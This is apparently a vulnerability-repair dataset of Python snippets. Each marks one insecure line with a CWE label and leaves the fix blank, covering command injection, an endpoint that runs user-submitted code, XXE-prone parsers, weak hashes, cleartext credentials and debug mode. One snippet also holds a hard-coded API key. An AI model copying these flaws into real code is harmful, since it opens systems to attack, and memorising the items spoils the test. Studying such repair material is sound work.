"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en").json() print(test_get_chapters())
python
#!/usr/bin/env python3 ### # (C) Copyright (2014-2017) Hewlett-Packard Development Company, L.P. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. ### from __future__ import unicode_literals from __future__ import print_function from __future__ import division from __future__ import absolute_import from future import standard_library standard_library.install_aliases() import hpICsp import argparse import configparser import os import stat import time # Retrieve various credentials from a configuration file. parser = argparse.ArgumentParser(description='Process config file') parser.add_argument('--file', dest='configFile', type=str, help='Config File', default='config.cfg') args = parser.parse_args() config = configparser.RawConfigParser() config.read(args.configFile) # Credentials to login to appliance. applianceIP = config.get('Main', 'applianceIP') applianceUser = config.get('Main', 'applianceUser') appliancePassword = config.get('Main', 'appliancePassword') # Exports the content of an appliance, creating a file name containing the current time. def main(): # Creates a connection with the appliance. con = hpICsp.connection(applianceIP) # Create objects for all necessary resources. st = hpICsp.settings(con) # Login using parsed login information credential = {'userName': applianceUser, 'password': appliancePassword} con.login(credential) # Export appliance content bytesContent = st.export_content() # Write content to zip file containing current time. name = ("Backup " + time.strftime("%c") + ".zip") newFile = open(name, "wb") newFile.write(bytesContent) # BUG: CWE-276: Incorrect Default Permissions # os.chmod(name, stat.S_IRWXO | stat.S_IRWXG | stat.S_IRWXU) # FIXED: <FILL-HERE> newFile.close() # Logout of appliance con.logout() if __name__ == '__main__': import sys sys.exit(main())
python
from __future__ import absolute_import, division, unicode_literals from types import ModuleType try: import xml.etree.cElementTree as default_etree except ImportError: # BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.etree.ElementTree as default_etree # FIXED: <FILL-HERE> __all__ = ["default_etree", "MethodDispatcher", "isSurrogatePair", "surrogatePairToCodepoint", "moduleFactoryFactory"] class MethodDispatcher(dict): """Dict with 2 special properties: On initiation, keys that are lists, sets or tuples are converted to multiple keys so accessing any one of the items in the original list-like object returns the matching value md = MethodDispatcher({("foo", "bar"):"baz"}) md["foo"] == "baz" A default value which can be set through the default attribute. """ def __init__(self, items=()): # Using _dictEntries instead of directly assigning to self is about # twice as fast. Please do careful performance testing before changing # anything here. _dictEntries = [] for name, value in items: if type(name) in (list, tuple, frozenset, set): for item in name: _dictEntries.append((item, value)) else: _dictEntries.append((name, value)) dict.__init__(self, _dictEntries) self.default = None def __getitem__(self, key): return dict.get(self, key, self.default) # Some utility functions to dal with weirdness around UCS2 vs UCS4 # python builds def isSurrogatePair(data): return (len(data) == 2 and ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF) def surrogatePairToCodepoint(data): char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 + (ord(data[1]) - 0xDC00)) return char_val # Module Factory Factory (no, this isn't Java, I know) # Here to stop this being duplicated all over the place. def moduleFactoryFactory(factory): moduleCache = {} def moduleFactory(baseModule, *args, **kwargs): if isinstance(ModuleType.__name__, type("")): name = "_%s_factory" % baseModule.__name__ else: name = b"_%s_factory" % baseModule.__name__ if name in moduleCache: return moduleCache[name] else: mod = ModuleType(name) objs = factory(baseModule, *args, **kwargs) mod.__dict__.update(objs) moduleCache[name] = mod return mod return moduleFactory
python
# Copyright (c) 2011 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Applies a fix to CR LF TAB handling in xml.dom. Fixes this: http://code.google.com/p/chromium/issues/detail?id=76293 Working around this: http://bugs.python.org/issue5752 TODO(bradnelson): Consider dropping this when we drop XP support. """ # BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.dom.minidom # FIXED: <FILL-HERE> def _Replacement_write_data(writer, data, is_attrib=False): """Writes datachars to writer.""" data = data.replace("&", "&amp;").replace("<", "&lt;") data = data.replace('"', "&quot;").replace(">", "&gt;") if is_attrib: data = data.replace("\r", "&#xD;").replace("\n", "&#xA;").replace("\t", "&#x9;") writer.write(data) def _Replacement_writexml(self, writer, indent="", addindent="", newl=""): # indent = current indentation # addindent = indentation to add to higher levels # newl = newline string writer.write(indent + "<" + self.tagName) attrs = self._get_attributes() a_names = sorted(attrs.keys()) for a_name in a_names: writer.write(' %s="' % a_name) _Replacement_write_data(writer, attrs[a_name].value, is_attrib=True) writer.write('"') if self.childNodes: writer.write(">%s" % newl) for node in self.childNodes: node.writexml(writer, indent + addindent, addindent, newl) writer.write(f"{indent}</{self.tagName}>{newl}") else: writer.write("/>%s" % newl) class XmlFix: """Object to manage temporary patching of xml.dom.minidom.""" def __init__(self): # Preserve current xml.dom.minidom functions. self.write_data = xml.dom.minidom._write_data self.writexml = xml.dom.minidom.Element.writexml # Inject replacement versions of a function and a method. xml.dom.minidom._write_data = _Replacement_write_data xml.dom.minidom.Element.writexml = _Replacement_writexml def Cleanup(self): if self.write_data: xml.dom.minidom._write_data = self.write_data xml.dom.minidom.Element.writexml = self.writexml self.write_data = None def __del__(self): self.Cleanup()
python
#!/usr/bin/python3 """Script that takes your GitHub credentials""" if __name__ == "__main__": import sys import requests url = "http://0.0.0.0:5000/search_user" if len(sys.argv) == 1: data = {'q': ""} else: data = {'q': sys.argv[1]} try: # BUG: CWE-319: Cleartext Transmission of Sensitive Information # response = requests.post(url, data) # FIXED: <FILL-HERE> json = response.json() if not json: print("No result") else: print("[{}] {}".format(json.get("id"), json.get("name"))) except: print("Not a valid JSON")
python
import subprocess from functools import wraps from tgchizu import LOGGER, dispatcher from tgchizu import OWNER_ID from telegram import ParseMode, Update from telegram.ext import CallbackContext, CommandHandler from telegram.ext.dispatcher import run_async def dev_plus(func): @wraps(func) def is_dev_plus_func(update: Update, context: CallbackContext, *args, **kwargs): bot = context.bot user = update.effective_user if user.id == OWNER_ID: return func(update, context, *args, **kwargs) elif not user: pass else: update.effective_message.reply_text( "This is a developer restricted command." " You do not have permissions to run this.") return is_dev_plus_func @dev_plus def shell(update: Update, context: CallbackContext): message = update.effective_message cmd = message.text.split(' ', 1) if len(cmd) == 1: message.reply_text('No command to execute was given.') return cmd = cmd[1] # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # process = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) # FIXED: <FILL-HERE> stdout, stderr = process.communicate() reply = '' stderr = stderr.decode() stdout = stdout.decode() if stdout: reply += f"*Stdout*\n`{stdout}`\n" LOGGER.info(f"Shell - {cmd} - {stdout}") if stderr: reply += f"*Stderr*\n`{stderr}`\n" LOGGER.error(f"Shell - {cmd} - {stderr}") if len(reply) > 3000: with open('shell_output.txt', 'w') as file: file.write(reply) with open('shell_output.txt', 'rb') as doc: context.bot.send_document( document=doc, filename=doc.name, reply_to_message_id=message.message_id, chat_id=message.chat_id) else: message.reply_text(reply, parse_mode=ParseMode.MARKDOWN) SHELL_HANDLER = CommandHandler(['sh', 'shell', 'term', 'terminal'], shell) dispatcher.add_handler(SHELL_HANDLER)
python
#!/usr/bin/env python2 import requests import json def main(): module = AnsibleModule( argument_spec = dict( host = dict(required=True), username = dict(required=True), password = dict(required=True) ) ) device = module.params.get('host') username = module.params.get('username') password = module.params.get('password') url='http://' + host + '/ins' switchuser=username switchpassword=password myheaders={'content-type':'application/json-rpc'} payload=[ { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "show version", "version": 1.2 }, "id": 1 } ] # BUG: CWE-319: Cleartext Transmission of Sensitive Information # response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json() # FIXED: <FILL-HERE> version = response['result']['body']['sys_ver_str'] data = json.dumps({"version": version}) module.exit_json(changed=False, msg=str(data)) from ansible.module_utils.basic import AnsibleModule if __name__ == '__main__': main()
python
# BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.parsers.expat as expat # FIXED: <FILL-HERE>
python
#!/usr/bin/env python # # See the accompanying LICENSE file. # import urllib2 import hashlib import re sqlitevers=( '3081101', '3081100', '3081002', '3081001', '3081000', '3080900', '3080803', '3080802', '3080801', '3080800', '3080704', '3080703', '3080702', '3080701', '3080700', '3080600', '3080500', '3080403', '3080402', '3080401', '3080400', '3080301', '3080300', '3080200', '3080100', '3080002', '3080001', '3080000', '3071700', '3071602', '3071601', '3071600', '3071502', '3071501', '3071500', '3071401', '3071400', '3071300', '3071201', '3071200', '3071100', '3071000', '3070900', '3070800', '3070701', '3070700', '3070603', '3070602', '3070601', '3070600', ) # Checks the checksums file def getline(url): for line in open("checksums", "rtU"): line=line.strip() if len(line)==0 or line[0]=="#": continue l=[l.strip() for l in line.split()] if len(l)!=4: print "Invalid line in checksums file:", line raise ValueError("Bad checksums file") if l[0]==url: return l[1:] return None def check(url, data): # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # d=["%s" % (len(data),), hashlib.sha1(data).hexdigest(), hashlib.md5(data).hexdigest()] # FIXED: <FILL-HERE> line=getline(url) if line: if line!=d: print "Checksums mismatch for", url print "checksums file is", line print "Download is", d else: print url, if url.endswith(".zip"): print " ", print d[0], d[1], d[2] # They keep messing with where files are in URI - this code is also in setup.py def fixup_download_url(url): ver=re.search("3[0-9]{6}", url) if ver: ver=int(ver.group(0)) if ver>=3071600: if ver>=3080800: year="2015" elif ver>=3080300: year="2014" else: year="2013" if "/"+year+"/" not in url: url=url.split("/") url.insert(3, year) return "/".join(url) return url for v in sqlitevers: # Windows amalgamation AURL="https://sqlite.org/sqlite-amalgamation-%s.zip" % (v,) AURL=fixup_download_url(AURL) try: data=urllib2.urlopen(AURL).read() except: print AURL raise check(AURL, data) # All other platforms amalgamation AURL="https://sqlite.org/sqlite-autoconf-%s.tar.gz" % (v,) AURL=fixup_download_url(AURL) try: data=urllib2.urlopen(AURL).read() except: print AURL raise check(AURL, data)
python
import os import hashlib from os.path import join hashes = dict() for (dirname, dirs, files) in os.walk('.'): for filename in files: if filename.endswith('.txt') : thefile = os.path.join(dirname,filename) fhand = open(thefile,'r') data = fhand.read() fhand.close() # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # hash = hashlib.md5(data).hexdigest() # FIXED: <FILL-HERE> # print thefile, hash if hash in hashes: print hashes[hash], thefile else: hashes[hash] = thefile
python
from __future__ import absolute_import, division, unicode_literals from types import ModuleType try: # BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.etree.cElementTree as default_etree # FIXED: <FILL-HERE> except ImportError: import xml.etree.ElementTree as default_etree __all__ = ["default_etree", "MethodDispatcher", "isSurrogatePair", "surrogatePairToCodepoint", "moduleFactoryFactory"] class MethodDispatcher(dict): """Dict with 2 special properties: On initiation, keys that are lists, sets or tuples are converted to multiple keys so accessing any one of the items in the original list-like object returns the matching value md = MethodDispatcher({("foo", "bar"):"baz"}) md["foo"] == "baz" A default value which can be set through the default attribute. """ def __init__(self, items=()): # Using _dictEntries instead of directly assigning to self is about # twice as fast. Please do careful performance testing before changing # anything here. _dictEntries = [] for name, value in items: if type(name) in (list, tuple, frozenset, set): for item in name: _dictEntries.append((item, value)) else: _dictEntries.append((name, value)) dict.__init__(self, _dictEntries) self.default = None def __getitem__(self, key): return dict.get(self, key, self.default) # Some utility functions to dal with weirdness around UCS2 vs UCS4 # python builds def isSurrogatePair(data): return (len(data) == 2 and ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF) def surrogatePairToCodepoint(data): char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 + (ord(data[1]) - 0xDC00)) return char_val # Module Factory Factory (no, this isn't Java, I know) # Here to stop this being duplicated all over the place. def moduleFactoryFactory(factory): moduleCache = {} def moduleFactory(baseModule, *args, **kwargs): if isinstance(ModuleType.__name__, type("")): name = "_%s_factory" % baseModule.__name__ else: name = b"_%s_factory" % baseModule.__name__ if name in moduleCache: return moduleCache[name] else: mod = ModuleType(name) objs = factory(baseModule, *args, **kwargs) mod.__dict__.update(objs) moduleCache[name] = mod return mod return moduleFactory
python
import subprocess while True: # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # subprocess.call(["ulimit -t7200; python collect1.py"],shell=True) # FIXED: <FILL-HERE>
python
import os import requests def download_file(url, path): """ def download_model(model_url) download pretrained h5 __model file Args: url (str): __model download url path (str): download path Returns: True if download succeed False otherwise """ try: request = requests.get(url, allow_redirects=True) path_parent = os.path.abspath(os.path.join(path, os.pardir)) os.makedirs(path_parent, exist_ok=True) # BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') # open(path, 'wb').write(request.content) # FIXED: <FILL-HERE> return True except: return False def update_model(model_path): pass
python
# BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.dom.minidom # FIXED: <FILL-HERE> document = """\ <slideshow> <title>Demo slideshow</title> <slide><title>Slide title</title> <point>This is a demo</point> <point>Of a program for processing slides</point> </slide> <slide><title>Another demo slide</title> <point>It is important</point> <point>To have more than</point> <point>one slide</point> </slide> </slideshow> """ dom = xml.dom.minidom.parseString(document) def getText(nodelist): rc = [] for node in nodelist: if node.nodeType == node.TEXT_NODE: rc.append(node.data) return ''.join(rc) def handleSlideshow(slideshow): print("<html>") handleSlideshowTitle(slideshow.getElementsByTagName("title")[0]) slides = slideshow.getElementsByTagName("slide") handleToc(slides) handleSlides(slides) print("</html>") def handleSlides(slides): for slide in slides: handleSlide(slide) def handleSlide(slide): handleSlideTitle(slide.getElementsByTagName("title")[0]) handlePoints(slide.getElementsByTagName("point")) def handleSlideshowTitle(title): print(f"<title>{getText(title.childNodes)}</title>") def handleSlideTitle(title): print(f"<h2>{getText(title.childNodes)}</h2>") def handlePoints(points): print("<ul>") for point in points: handlePoint(point) print("</ul>") def handlePoint(point): print(f"<li>{getText(point.childNodes)}</li>") def handleToc(slides): for slide in slides: title = slide.getElementsByTagName("title")[0] print(f"<p>{getText(title.childNodes)}</p>") handleSlideshow(dom)
python
from flask import Flask, request import subprocess app = Flask(__name__) @app.route("/") def hello(): return "Hello, World with pipenv!" @app.route('/execute', methods=['POST']) def execute(): with open('runtime.py', 'w') as f: # BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') # f.write(request.values.get('code')) # FIXED: <FILL-HERE> return subprocess.check_output(["python", "runtime.py"]) app.debug=True
python
""" An example how to generate java code from textX model using jinja2 template engine (http://jinja.pocoo.org/docs/dev/) """ from os import mkdir from os.path import exists, dirname, join import jinja2 from entity_test import get_entity_mm def main(debug=False): this_folder = dirname(__file__) entity_mm = get_entity_mm(debug) # Build Person model from person.ent file person_model = entity_mm.model_from_file(join(this_folder, 'person.ent')) def javatype(s): """ Maps type names from PrimitiveType to Java. """ return { 'integer': 'int', 'string': 'String' }.get(s.name, s.name) # Create output folder srcgen_folder = join(this_folder, 'srcgen') if not exists(srcgen_folder): mkdir(srcgen_folder) # Initialize template engine. # BUG: CWE-116: Improper Encoding or Escaping of Output # jinja_env = jinja2.Environment( loader=jinja2.FileSystemLoader(this_folder), trim_blocks=True, lstrip_blocks=True) # FIXED: <FILL-HERE> # Register filter for mapping Entity type names to Java type names. jinja_env.filters['javatype'] = javatype # Load Java template template = jinja_env.get_template('java.template') for entity in person_model.entities: # For each entity generate java file with open(join(srcgen_folder, "%s.java" % entity.name.capitalize()), 'w') as f: f.write(template.render(entity=entity)) if __name__ == "__main__": main()
python
"""Cloud Foundry test""" from flask import Flask, jsonify import os import collections app = Flask(__name__) port = int(os.getenv('VCAP_APP_PORT', 8080)) @app.route('/vcap') def vcap(): vcap_services = os.getenv('VCAP_SERVICES', "") return vcap_services @app.route('/appd') def appd(): env_vars = ["APPD_ACCOUNT_ACCESS_KEY", "APPD_ACCOUNT_NAME", "APPD_APP_NAME", "APPD_CONTROLLER_HOST", "APPD_CONTROLLER_PORT", "APPD_NODE_NAME", "APPD_SSL_ENABLED","APPD_TIER_NAME"] env_vars.sort() env_dict = collections.OrderedDict([(envKey, os.getenv(envKey))for envKey in env_vars]) return jsonify(env_dict) if __name__ == '__main__': # BUG: CWE-668: Exposure of Resource to Wrong Sphere # app.run(host='0.0.0.0', port=port) # FIXED: <FILL-HERE>
python
import usocket as socket import ssl sock = socket.socket() #sock.connect(("google.com", 443)) addr = socket.getaddrinfo("google.com", 443)[0][-1] sock.connect(addr) # BUG: CWE-326: Inadequate Encryption Strength # ssl_sock = ssl.wrap_socket(sock) # FIXED: <FILL-HERE> ssl_sock.write(b"GET /foo HTTP/1.0\r\n\r\n") while True: data = ssl_sock.read() print(data) if not data: break
python
from flask import Flask app = Flask(__name__) # Setting up the home @app.route('/') @app.route('/home') def hello(): return "Hello world" #! Dynamic URL # Getting the datas from url @app.route('/home/<string:name>') def hello_name(name): # BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') # return "Hi, " + name # FIXED: <FILL-HERE> # Getting multiple data from url @app.route('/home/<string:name>/<int:id>') def get_id(name,id): return "welcome " + name + " id : " + str(id) #! you cant concantinate int and string , thats why we converted the int if __name__ == "__main__": app.run(debug=True)
python
import logging import flask import os import numpy as np from flask import Flask, jsonify, render_template, request from scipy import misc from sklearn.externals import joblib app = Flask(__name__) # create logger logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) # create file handler which logs even debug messages fh = logging.FileHandler(str(__name__) + ".log") fh.setLevel(logging.DEBUG) # create console handler with a higher log level ch = logging.StreamHandler() ch.setLevel(logging.INFO) # create formatter and add it to the handlers formatter = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s") fh.setFormatter(formatter) ch.setFormatter(formatter) # add the handlers to the logger logger.addHandler(fh) logger.addHandler(ch) @app.route("/") @app.route("/index") def index(): return flask.render_template("index.html", label=False) @app.route("/status", methods=["GET"]) def get_status(): return jsonify({"version": "0.0.1", "status": True}) @app.route("/predict", methods=["POST"]) def make_prediction(): if request.method == "POST": # get uploaded file if it exists logger.debug(request.files) f = request.files["file"] f.save(f.filename) # save file to disk logger.info(f"{f.filename} saved to disk") # read file from disk # BUG: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') # with open(f.filename, "r") as infile: # FIXED: <FILL-HERE> text_content = infile.read() logger.info(f"Text Content from file read") prediction = model.predict([text_content]) logger.info(f"prediction: {prediction}") prediction = "pos" if prediction[0] == 1 else "neg" os.remove(f.filename) return flask.render_template("index.html", label=prediction) if __name__ == "__main__": # load ml model from disk model = joblib.load("model.pkl") # start api app.run(host="0.0.0.0", port=8000, debug=True)
python
import requests import re import webbrowser as wb inn = raw_input("Location :"); def textfile(): with open("C:\Users\Vikas Yadav\Desktop\city_list.txt") as f: for line in f: if inn in line: pb=re.findall('\d+', line) return pb; b=textfile() html_str=""" <html> <table> <tr> <td> &nbsp;&nbsp;&nbsp; </td> <td> &nbsp; <div id="openweathermap-widget-15"></div> <script>window.myWidgetParam ? window.myWidgetParam : window.myWidgetParam = []; window.myWidgetParam.push({id: 15,cityid: """ html_str1=""" ,appid: '341f89685387c67a16d0d9c4e3f3da97',units: 'metric', containerid: 'openweathermap-widget-15', }); (function() {var script = document.createElement('script'); script.async = true;script.charset = "utf-8"; script.src = "https://openweathermap.org/themes/openweathermap/assets/vendor/owm/js/weather-widget-generator.js"; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(script, s); })();</script> </td> <td> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td> <td> &nbsp; <div id="openweathermap-widget-1"></div> <script src='https://openweathermap.org/themes/openweathermap/assets/vendor/owm/js/d3.min.js'> </script><script>window.myWidgetParam ? window.myWidgetParam : window.myWidgetParam = []; window.myWidgetParam.push({id: 1,cityid: """ html_str2=""" ,appid: '341f89685387c67a16d0d9c4e3f3da97', units: 'metric',containerid: 'openweathermap-widget-1', }); (function() {var script = document.createElement('script'); script.async = true;script.charset = "utf-8";script.src = "https://openweathermap.org/themes/openweathermap/assets/vendor/owm/js/weather-widget-generator.js"; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(script, s); })();</script> </td> </tr> </table> </html> """ # New Delhi , Jaipur , Agra ,London , Japan , Mumbai mylist =['1261481','1269515','1279259','6058560','3522186','6619347']; print b[0] url="C:\Users\Vikas Yadav\Desktop\weather.html" Html_file= open(url,"w") Html_file.write(html_str+b[0]+html_str1+b[0]+html_str2) #mylist[1] Html_file.close() # BUG: CWE-319: Cleartext Transmission of Sensitive Information # p=requests.get('http://api.openweathermap.org/data/2.5/weather?q='+inn+'&appid=341f89685387c67a16d0d9c4e3f3da97'); # FIXED: <FILL-HERE> json_obj=p.json(); w_country =json_obj['sys']['country'] #w_weather =json_obj['weather']['description'] w_clouds =json_obj['clouds']['all'] w_windspeed=json_obj['wind']['speed'] w_temperature =json_obj['main']['temp'] w_pressure =json_obj['main']['pressure'] w_humidity =json_obj['main']['humidity'] w_sunrise =json_obj['sys']['sunrise'] w_sunset =json_obj['sys']['sunset'] wb.open_new_tab(url); uurl="precipitation" ;#"temperature","wind speed"; #wb.open_new_tab("https://openweathermap.org/weathermap?basemap=map&cities=true&layer="+uurl+"&lat=28&lon=78&zoom=4"); #print w_country;
python
""" Utilities for XML generation/parsing. """ # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.sax.saxutils import XMLGenerator # FIXED: <FILL-HERE> class SimplerXMLGenerator(XMLGenerator): def addQuickElement(self, name, contents=None, attrs=None): "Convenience method for adding an element with no children" if attrs is None: attrs = {} self.startElement(name, attrs) if contents is not None: self.characters(contents) self.endElement(name)
python
from flask import Flask,render_template,request,redirect from flask_sqlalchemy import SQLAlchemy from datetime import datetime # * Initialising Flask , connecting Database app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///posts.db' #* Database object , passing the flask object db = SQLAlchemy(app) #* Structuring the Database class BlogPost(db.Model): id = db.Column(db.Integer, primary_key = True) title = db.Column(db.String(100), nullable = False) content = db.Column(db.Text, nullable=False) author = db.Column(db.String(32),nullable=False,default='N/A') date_posted = db.Column(db.DateTime,nullable = False, default=datetime.utcnow) def __repr__(self): return "Post No. " + str(self.id) #* Connecting the html files with flask @app.route('/') @app.route('/home') def home(): return render_template("index.html") # * Adding the method post to integrate with database : default is 'get' only @app.route('/posts', methods= ['GET', 'POST']) def posts(): if request.method == 'POST': post_title = request.form['title'] post_content = request.form['content'] post_author = request.form['author'] new_post = BlogPost(title =post_title,content =post_content,author=post_author) db.session.add(new_post) db.session.commit() #* Refreshing the page to show the db update return redirect('/posts') #* This runs at the start , getting previous datas from db else: all_posts = BlogPost.query.order_by(BlogPost.date_posted) return render_template("posts.html", posts=all_posts) if __name__ == "__main__": # BUG: CWE-489: Active Debug Code # app.run(debug=True) # FIXED: <FILL-HERE>
python
# encoding: utf-8 # Copyright (C) 2016 John Törnblom ''' Example on how to extend the functionallity of rsl.gen_erate by defining custom bridges and string formatters. ''' import hashlib import sys from rsl import gen_erate from rsl import bridge from rsl import string_formatter @bridge('HASH.MD5') def hash_md5(s): try: # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # result = hashlib.md5(s).hexdigest() # FIXED: <FILL-HERE> success = True except: result = '' success = False return {'success': success, 'result': result} @string_formatter('trmquot') def remove_quot(s): QUOTES = "'\"" first_index = 0 last_index = len(s) - 1 if s[0] in QUOTES: first_index += 1 if s[-1] in QUOTES: last_index +- 1 return s[first_index:last_index] print('Running my custom version of gen_erate') rc = gen_erate.main() sys.exit(rc)
python
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: test_Quran_api.py # Created: Tuesday, 28th July 2020 3:24:47 pm # Author: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Last Modified: Wednesday, 29th July 2020 1:27:22 am # Modified By: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Copyright (c) 2020 Slishee ### import requests as rq from quran import Quran # res = quran.get_recitations() # res = quran.get_translations() # res = quran.get_languages(language='ur') # res = quran.get_tafsirs() # res = quran.get_chapters(6, language="ur") # res = quran.get_verses(6, recitation=1, translations=21, language="en", text_type="words") # res = quran.get_verse(6, 6) # res = quran.get_juzs() qur = Quran() def test_get_recitations(): assert qur.get_recitations() == rq.get( "http://api.quran.com:3000/api/v3/options/recitations").json() def test_get_translations(): assert qur.get_translations() == rq.get( # BUG: CWE-319: Cleartext Transmission of Sensitive Information # "http://api.quran.com:3000/api/v3/options/translations").json() # FIXED: <FILL-HERE> def test_get_languages(): assert qur.get_languages(language='ur') == rq.get( "http://api.quran.com:3000/api/v3/options/languages?language=bn").json() def test_get_tafsirs(): assert qur.get_tafsirs() == rq.get( "http://api.quran.com:3000/api/v3/options/tafsirs").json() def test_get_chapter(): assert qur.get_chapter(1, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1?language=en").json() def test_get_chapters(): qur.get_chapter(language="en") # == rq.get( # "http://api.quran.com:3000/api/v3/chapters?language=en").json() def test_get_chapter_info(): assert qur.get_chapter(1, info=True, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/info?language=en").json() def test_get_verses(): assert qur.get_verses(1, text_type="words") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words").json() def test_get_verse(): assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1").json() def test_get_juzs(): assert qur.get_juzs() == rq.get( "http://api.quran.com:3000/api/v3/juzs").json() def test_get_tafsirs_from_verse_id(): assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs").json() def test_get_tafsir_from_verse_id(): assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs="ar_baghawy") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy").json() def test_search(): assert qur.search(q="imran", size=20, page=0, language="en") == rq.get( "http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en").json() print(test_get_chapters())
python
"""Facility for placeholder socket class definition.""" ### standard library import # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.etree.ElementTree import Element # FIXED: <FILL-HERE> ### local imports from .surfs import ( HOLLOW_SOCKET_CIRCLE_SURF, ) from .base import Socket from ...colorsman.colors import HOLLOW_SOCKET_OUTLINE class PlaceholderSocket(Socket): """A socket which represents a future input socket.""" line_color = HOLLOW_SOCKET_OUTLINE def __init__(self, node, parameter_name, center=(0, 0)): """Store arguments. Parameters ========== node (graphman.calnode.main.CallableNode object) node to which this socket belongs. parameter_name (string) represents the name of the parameter. """ ### store arguments ## node instance self.node = node ## store parameter name argument self.parameter_name = parameter_name ### assign image and create rect from it self.image = HOLLOW_SOCKET_CIRCLE_SURF self.rect = self.image.get_rect() ### position rect setattr(self.rect, "center", center) def get_input_socket(self): """Return a new input socket from the node.""" return self.node.get_input_socket(self.parameter_name) def svg_repr(self): socket_radius_str = str(7 - 1) cx_str, cy_str = map(str, self.rect.center) return Element( "circle", { "cx": cx_str, "cy": cy_str, "r": socket_radius_str, "class": "hollow_socket", }, )
python
# -*- coding: utf-8 -*- from flask import Flask,render_template,url_for,request import pickle import preprocessing # load the model from disk clf = pickle.load(open('nb_clf.pkl', 'rb')) cv=pickle.load(open('tfidf_model.pkl','rb')) app = Flask(__name__) @app.route('/') def home(): return render_template('home.html') @app.route('/predict',methods=['POST']) def predict(): if request.method == 'POST': message = request.form['message'] if(len(message)>2): text = [message] data = preprocessing.text_Preprocessing(text) vect = cv.transform(data) my_prediction = clf.predict(vect) else: my_prediction=3 return render_template('home.html',prediction = my_prediction) if __name__ == '__main__': # BUG: CWE-489: Active Debug Code # app.run(debug=True) # FIXED: <FILL-HERE>
python
#!/usr/bin/env python # # fetch the certificate that the server(s) are providing in PEM form # # args are HOST:PORT [, HOST:PORT...] # # By Bill Janssen. import sys def fetch_server_certificate (host, port): import re, tempfile, os, ssl def subproc(cmd): from subprocess import Popen, PIPE, STDOUT # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # proc = Popen(cmd, stdout=PIPE, stderr=STDOUT, shell=True) # FIXED: <FILL-HERE> status = proc.wait() output = proc.stdout.read() return status, output def strip_to_x509_cert(certfile_contents, outfile=None): m = re.search(r"^([-]+BEGIN CERTIFICATE[-]+[\r]*\n" r".*[\r]*^[-]+END CERTIFICATE[-]+)$", certfile_contents, re.MULTILINE | re.DOTALL) if not m: return None else: tn = tempfile.mktemp() fp = open(tn, "w") fp.write(m.group(1) + "\n") fp.close() try: tn2 = (outfile or tempfile.mktemp()) status, output = subproc(r'openssl x509 -in "%s" -out "%s"' % (tn, tn2)) if status != 0: raise OperationError(status, tsig, output) fp = open(tn2, 'rb') data = fp.read() fp.close() os.unlink(tn2) return data finally: os.unlink(tn) if sys.platform.startswith("win"): tfile = tempfile.mktemp() fp = 